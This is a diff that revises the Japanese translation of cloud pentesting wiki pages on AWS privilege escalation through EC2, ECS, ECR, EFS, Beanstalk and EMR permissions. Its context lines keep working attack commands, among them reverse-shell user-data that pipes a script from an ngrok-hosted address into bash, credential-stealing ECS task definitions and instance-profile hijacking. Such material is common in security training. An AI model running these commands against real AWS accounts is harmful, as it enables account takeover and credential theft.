@@ -16,15 +16,15 @@
 
 - **SSH経由でのアクセス**
 
-**作成した** **sshキー**を使用して新しいインスタンスを起動し（新しいものを作成する場合は`ec2:CreateKeyPair`の権限が必要になることがあります）、それにsshで接続します。
+**作成した** **sshキー**を使用して新しいインスタンスを起動し（`--key-name`）、その後sshで接続します（新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります）。
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
 --security-group-ids <sg-id>
 ```
-- **ユーザーデータによるrev shellへのアクセス**
+- **ユーザーデータを使用したrev shellへのアクセス**
 
-**ユーザーデータ**（`--user-data`）を使用して新しいインスタンスを起動すると、**rev shell**を送信できます。この方法ではセキュリティグループを指定する必要はありません。
+**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**rev shell** を送信します。この方法ではセキュリティグループを指定する必要はありません。
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-注意：インスタンスの外でIAMロールの資格情報を使用する場合、GuradDutyに注意してください。
+GuradDutyを使用する際は、インスタンスの外でIAMロールの資格情報を使用する場合に注意してください：
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 
 #### ECSへの権限昇格
 
-この権限セットを使用すると、**EC2インスタンスを作成し、それをECSクラスター内に登録**することもできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス（Dockerコンテナ）に侵入し、**添付されたECSロールを盗む**ことができます。
+この権限セットを使用すると、**EC2インスタンスを作成し、ECSクラスター内に登録する**こともできます。この方法で、ECS **サービス**は、アクセス権のある**EC2インスタンス**内で**実行**され、そのサービス（Dockerコンテナ）に侵入し、**添付されたECSロールを盗む**ことができます。
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,7 +59,7 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-新しいEC2インスタンスで**ECSサービスを強制的に実行する方法**を学ぶには、次を確認してください：
+ECSサービスをこの新しいEC2インスタンスで**強制的に実行する方法**を学ぶには、次を確認してください：
 
 {{#ref}}
 aws-ecs-privesc.md
@@ -67,11 +67,11 @@ aws-ecs-privesc.md
 
 **新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。
 
-**潜在的な影響：** タスクに付随するECSロールへの直接的な権限昇格。
+**潜在的な影響：** タスクに付与されたECSロールへの直接的な権限昇格。
 
-### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+### **`iam:PassRole`、** **`iam:AddRoleToInstanceProfile`**
 
-前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し、新しい認証情報を盗むことができます。\
+前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**して新しい資格情報を盗むことができます。\
 インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、**`iam:RemoveRoleFromInstanceProfile`**も必要になります。
 ```bash
 # Removing role from instance profile
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます（`iam:CreateInstanceProfile`）、**そのロールをそのインスタンスプロファイルに追加**し（前述の通り）、**インスタンスプロファイルを侵害されたインスタンスに関連付ける**ことができます：
+もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます（`iam:CreateInstanceProfile`）、その**インスタンスプロファイル**に**ロールを追加**し（前述の通り）、**侵害されたインスタンスに関連付ける**ことができます：
 
-- もしインスタンスが**インスタンスプロファイルを持っていない**場合（`ec2:AssociateIamInstanceProfile`）\*
+- インスタンスが**インスタンスプロファイルを持っていない場合**（`ec2:AssociateIamInstanceProfile`）\*
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**潜在的影響:** 別のEC2ロールへの直接的な権限昇格（AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります）。
+**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加の権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
 これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。
 
-- **インスタンスプロファイルがある場合、** インスタンスプロファイルを**削除**することができ（`ec2:DisassociateIamInstanceProfile`）、**関連付ける**ことができます \*
+- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** することができ (`ec2:DisassociateIamInstanceProfile`)、それを **関連付ける** ことができます \*
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
@@ -121,7 +121,7 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`
 
-**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更する**ことができ、これによりインスタンスが**任意のデータを実行する**ことが可能になります。これを利用して**EC2インスタンスへのrev shellを取得**することができます。
+**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して、**EC2インスタンスへのrev shellを取得**することができます。
 
 属性は**インスタンスが停止している間のみ**変更できるため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の**権限**が必要です。
 ```bash
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**潜在的影響:** 作成されたインスタンスに付与された任意のEC2 IAMロールへの直接的な権限昇格。
+**潜在的影響:** 作成されたインスタンスに付随する任意のEC2 IAMロールへの直接的な権限昇格。
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意のAutoscalerグループ**が**最新**または**デフォルトバージョン**を使用するように構成されている場合、**そのテンプレートを使用してインスタンスを再実行**し、**rev shell**を実行します。
+**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**revシェル**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、**そのLaunch Template**を使用する**任意のAutoscalerグループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、revシェルを実行します。
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格。
+**潜在的影響:** 別の EC2 ロールへの直接的な特権昇格。
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。
+**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAM ロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAM ロール**を**盗む**のを待つことができます。
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -206,18 +206,18 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 
 ### `ec2-instance-connect:SendSSHPublicKey`
 
-**`ec2-instance-connect:SendSSHPublicKey`** の権限を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます（インスタンスへのsshアクセスがある場合）または権限を昇格させることができます。
+権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーにsshキーを追加し、それを使用してアクセスすることができます（インスタンスへのsshアクセスがある場合）または権限を昇格させることができます。
 ```bash
 aws ec2-instance-connect send-ssh-public-key \
 --instance-id "$INSTANCE_ID" \
 --instance-os-user "ec2-user" \
 --ssh-public-key "file://$PUBK_PATH"
 ```
-**潜在的な影響:** 実行中のインスタンスに接続されたEC2 IAMロールへの直接的な権限昇格。
+**潜在的な影響:** 実行中のインスタンスにアタッチされたEC2 IAMロールへの直接的な権限昇格。
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
-**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にsshキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。
+**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** の権限を持つ攻撃者は、**シリアル接続にSSHキーを追加する**ことができます。シリアルが有効でない場合、攻撃者はそれを有効にするために**`ec2:EnableSerialConsoleAccess`** の権限が必要です。
 
 シリアルポートに接続するためには、**マシン内のユーザーのユーザー名とパスワードを知っている必要があります。**
 ```bash
@@ -231,13 +231,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特にプライベートエスカレーションにはあまり役立ちません。
+この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。
 
-**潜在的な影響:** （非常に証明が難しい）実行中のインスタンスに付随するEC2 IAMロールへの直接的なプライベートエスカレーション。
+**潜在的な影響:** （非常に証明が難しい）実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権限昇格。
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 
-起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用する可能性があります。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします：
+起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします：
 ```bash
 for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
 do

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md

@@ -32,7 +32,7 @@
 
 ### `ecr:SetRepositoryPolicy`
 
-この権限を持つ攻撃者は **リポジトリ** **ポリシー** を **変更** して、自分自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
+この権限を持つ攻撃者は **リポジトリのポリシーを変更** して、自分自身（または全員）に **読み書きアクセス** を付与することができます。\
 例えば、この例では全員に読み取りアクセスが付与されています。
 ```bash
 aws ecr set-repository-policy \
@@ -60,7 +60,7 @@ aws ecr set-repository-policy \
 ### `ecr-public:SetRepositoryPolicy`
 
 前のセクションと同様ですが、パブリックリポジトリ用です。\
-攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、不正なパブリックアクセスを付与したり、権限を昇格させたりすることができます。
+攻撃者はECRパブリックリポジトリの**リポジトリポリシーを変更**して、無許可のパブリックアクセスを付与したり、権限を昇格させたりすることができます。
 ```bash
 bashCopy code# Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,7 +87,7 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**潜在的な影響**: ECRパブリックリポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。
+**潜在的な影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。
 
 ### `ecr:PutRegistryPolicy`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-ECSに関する**詳細情報**は以下を参照してください：
+More **info about ECS** in:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECSに関する**詳細情報**は以下を参照してください：
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-`iam:PassRole`、`ecs:RegisterTaskDefinition`、および `ecs:RunTask` の権限を悪用する攻撃者は、**メタデータ認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義を生成**し、**実行する**ことができます。
+ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、および`ecs:RunTask`の権限を悪用する攻撃者は、**メタデータの認証情報を盗む** **悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、**実行**することができます。
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -32,11 +32,11 @@ aws ecs run-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**潜在的な影響:** 異なるECSロールへの直接的な権限昇格。
+**潜在的影響:** 異なるECSロールへの直接的な権限昇格。
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-前の例と同様に、攻撃者がECSの**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**権限を悪用することで、**悪意のあるコンテナ**を持つ**新しいタスク定義**を**生成**し、それを**実行**することができます。\
+前の例と同様に、ECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**権限を悪用する攻撃者は、**メタデータ認証情報を盗む**悪意のあるコンテナを持つ**新しいタスク定義を生成**し、**それを実行**することができます。\
 ただし、この場合、悪意のあるタスク定義を実行するためのコンテナインスタンスが必要です。
 ```bash
 # Generate task definition with rev shell
@@ -53,7 +53,7 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**潜在的な影響:** どのECSロールへの直接的な権限昇格。
+**潜在的な影響:** どのECSロールにも直接的な権限昇格。
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
@@ -80,7 +80,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**潜在的な影響:** どのECSロールにも直接的な権限昇格。
+**潜在的な影響:** 任意のECSロールへの直接的な権限昇格。
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
@@ -96,12 +96,12 @@ aws ecs run-task \
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
-これは依然として興味深いです。なぜなら、任意のコンテナを実行できる場合、たとえロールなしであっても、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行中の**他のECSコンテナロール**を**盗む**ことができるからです。\
-さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、彼らの資格情報を盗むことができます（[**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されています）。
+このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ない**状態です。\
+これは依然として興味深いです。なぜなら、たとえロールなしであっても任意のコンテナを実行できる場合、**特権コンテナを実行して**ノードに逃げ込み、**EC2 IAMロール**やノードで実行されている**他のECSコンテナのロール**を**盗む**ことができるからです。\
+さらに、あなたが侵害したEC2インスタンス内で**他のタスクを実行させる**こともでき、その資格情報を盗むことができます（[**ノードへの権限昇格セクション**](aws-ecs-privesc.md#privesc-to-node)で説明されているように）。
 
 > [!WARNING]
-> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能です。
+> この攻撃は、**ECSクラスターがEC2**インスタンスを使用している場合にのみ可能であり、Fargateではありません。
 ```bash
 printf '[
 {
@@ -144,10 +144,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-**`ecs:ExecuteCommand`** と **`ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます（`aws ecs execute-command` を実行するためには describe 権限が必要です）。\
-しかし、そのためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります（デフォルトでは実行されていません）。
+**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** を持つ攻撃者は、実行中のコンテナ内で **コマンドを実行** し、それに付随するIAMロールを抽出することができます（`aws ecs execute-command` を実行するためには describe 権限が必要です）。\
+しかし、それを行うためには、コンテナインスタンスが **ExecuteCommandエージェント** を実行している必要があります（デフォルトでは実行されていません）。
 
-したがって、攻撃者は以下を試みることができます：
+したがって、攻撃者は次のことを試みることができます：
 
 - **すべての実行中のコンテナでコマンドを実行しようとする**
 ```bash
@@ -167,18 +167,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
-- 彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。
-- 彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。
-- 彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。
-- 彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。
+- もし彼が **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行します。
+- もし彼が **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行します。
+- もし彼が **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成します。
+- もし彼が **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新します。
 
-**これらのオプションの例**は **以前のECSプライベートセクション**にあります。
+**これらのオプションの例**は **以前のECS privescセクション**にあります。
 
-**潜在的な影響:** コンテナに付随する別のロールへのプライベートエスカレーション。
+**潜在的な影響:** コンテナに付随する別のロールへの権限昇格。
 
 ### `ssm:StartSession`
 
-**ssmプライベートセクション**で、この権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください：
+**ssm privescページ**でこの権限を悪用して **ECSへの権限昇格**がどのようにできるかを確認してください：
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-**ec2プライベートセクション**で、これらの権限をどのように悪用して **ECSにプライベートエスカレーション**できるかを確認してください：
+**ec2 privescページ**でこれらの権限を悪用して **ECSへの権限昇格**がどのようにできるかを確認してください：
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -194,14 +194,14 @@ aws-ec2-privesc.md
 
 ### `?ecs:RegisterContainerInstance`
 
-TODO: 攻撃者が制御するマシンでタスクが実行されるように、異なるAWSアカウントからインスタンスを登録することは可能ですか？
+TODO: 攻撃者が制御するマシンでタスクが実行されるように、別のAWSアカウントからインスタンスを登録することは可能ですか？
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
 > TODO: これをテストする
 
-`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新**することができます。これにより、攻撃者は **サービス内で任意のコードを実行**することができます。
+`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、および `ecs:DescribeTaskSets` の権限を持つ攻撃者は、**既存のECSサービスのために悪意のあるタスクセットを作成し、プライマリタスクセットを更新する**ことができます。これにより、攻撃者は **サービス内で任意のコードを実行する**ことができます。
 ```bash
 bashCopy code# Register a task definition with a reverse shell
 echo '{

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md

@@ -10,11 +10,11 @@ EFSに関する**詳細情報**は以下にあります：
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-EFSをマウントするには、EFSが公開されているサブネットワークにいる必要があり、アクセス権（セキュリティグループ）が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。
+EFSをマウントするには、EFSが公開されているサブネット内にいる必要があり、アクセス権（セキュリティグループ）が必要です。これが発生している場合、デフォルトでは常にマウントできるはずですが、IAMポリシーによって保護されている場合は、アクセスするためにここで言及されている追加の権限が必要です。
 
 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
 
-これらの権限のいずれかを持っていると、攻撃者は**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。
+これらの権限のいずれかを持つ攻撃者は、**ファイルシステムポリシーを変更**して**アクセスを与える**ことができるか、単に**削除して**デフォルトのアクセスを付与することができます。
 
 ポリシーを削除するには：
 ```bash
@@ -58,13 +58,13 @@ aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/pol
 sudo mkdir /efs
 sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
 ```
-`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に**書き込む**ためと、そのファイルシステムに**ルート**として**アクセス**するために使用できます。
+`elasticfilesystem:ClientRootAccess` と `elasticfilesystem:ClientWrite` の追加権限は、マウントされた後にファイルシステム内に **書き込む** ためと、そのファイルシステムに **ルート** として **アクセス** するために使用できます。
 
-**潜在的な影響:** ファイルシステム内の機密情報を特定することによる間接的な権限昇格。
+**潜在的な影響:** ファイルシステム内の機密情報を見つけることによる間接的な特権昇格。
 
 ### `elasticfilesystem:CreateMountTarget`
 
-攻撃者がEFSの**マウントターゲット**が存在しない**サブネット**内にいる場合、彼はこの権限を使って**自分のサブネットに作成する**ことができます。
+攻撃者が **マウントターゲット** が存在しない **サブネット** 内にいる場合、彼はこの権限を使って **自分のサブネット** にマウントターゲットを **作成** することができます。
 ```bash
 # You need to indicate security groups that will grant the user access to port 2049
 aws efs create-mount-target --file-system-id <fs-id> \
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id <fs-id> \
 
 ### `elasticfilesystem:ModifyMountTargetSecurityGroups`
 
-攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することができる**:
+攻撃者がEFSのマウントターゲットが自分のサブネット内にあることを発見し、**トラフィックを許可するセキュリティグループがない場合**、彼は単に**選択したセキュリティグループを変更することでそれを修正できる**:
 ```bash
 aws efs modify-mount-target-security-groups \
 --mount-target-id <value> \

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md

@@ -32,7 +32,7 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
 ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` など...
 
-上記に加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** の権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。
+言及されたものに加えて、いくつかの **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** および **`elasticloadbalancing`** 権限が、ゼロから生の Elastic Beanstalk シナリオを作成するために必要です。
 
 - AWS Elastic Beanstalk アプリケーションを作成する:
 ```bash
@@ -42,7 +42,7 @@ aws elasticbeanstalk create-application --application-name MyApp
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
-環境がすでに作成されていて、**新しいものを作成したくない**場合は、既存のものを**更新**するだけです。
+既に環境が作成されていて、新しい環境を作成したくない場合は、既存の環境を**更新**するだけです。
 
 - アプリケーションコードと依存関係をZIPファイルにパッケージします:
 ```python
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-あなた自身の **Beanstalk 環境で** リバースシェルを実行している場合、次は **それを移行** する時です。そうするためには、あなたの Beanstalk S3 バケットの **バケットポリシーを更新** して **被害者がアクセスできるように** する必要があります（これにより、バケットが **誰にでも開放される** ことに注意してください）：
+あなた自身のBeanstalk環境でリバースシェルを実行しているら、次はそれを被害者の環境に**移行**する時です。そのためには、あなたのBeanstalk S3バケットの**バケットポリシーを更新**して、**被害者がアクセスできる**ようにする必要があります（これにより、バケットが**全員に開放**されることに注意してください）：
 ```json
 {
 "Version": "2008-10-17",

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md

@@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id <id>
 # In MasterPublicDnsName you can find the DNS to connect to the master instance
 ## You cna also get this info listing EC2 instances
 ```
-注意が必要なのは、`--service-role` で **EMRロール** が指定され、`--ec2-attributes` 内で **ec2ロール** が指定されていることです。しかし、この技術はEC2ロールの資格情報を盗むことしかできず（ssh経由で接続するため）、EMR IAMロールは盗むことができません。
+**EMRロール**が`--service-role`で指定され、**ec2ロール**が`--ec2-attributes`で指定されていることに注意してください。ただし、この技術はEC2ロールの資格情報を盗むことしかできず（ssh経由で接続するため）、EMR IAMロールを盗むことはできません。
 
 **潜在的な影響:** 指定されたEC2サービスロールへの権限昇格。
 
@@ -47,16 +47,16 @@ aws emr describe-cluster --cluster-id <id>
 > [!CAUTION]
 > ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
 
-**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。
+**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
 
 ### `elasticmapreduce:OpenEditorInConsole`
 
-この権限だけで、攻撃者は **Jupyter Notebookにアクセスし、それに関連付けられたIAMロールを盗む** ことができます。\
-ノートブックのURLは `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/` です。
+この権限だけで、攻撃者は**Jupyterノートブックにアクセスし、それに関連するIAMロールを盗む**ことができます。\
+ノートブックのURLは`https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`です。
 
 > [!CAUTION]
 > ノートブックインスタンスにIAMロールをアタッチしても、私のテストではAWS管理の資格情報を盗むことができ、関連するIAMロールに関連する資格情報は盗めないことに気付きました。
 
-**潜在的な影響:** AWS管理ロール arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile への権限昇格。
+**潜在的な影響:** AWS管理ロールarn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfileへの権限昇格。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md

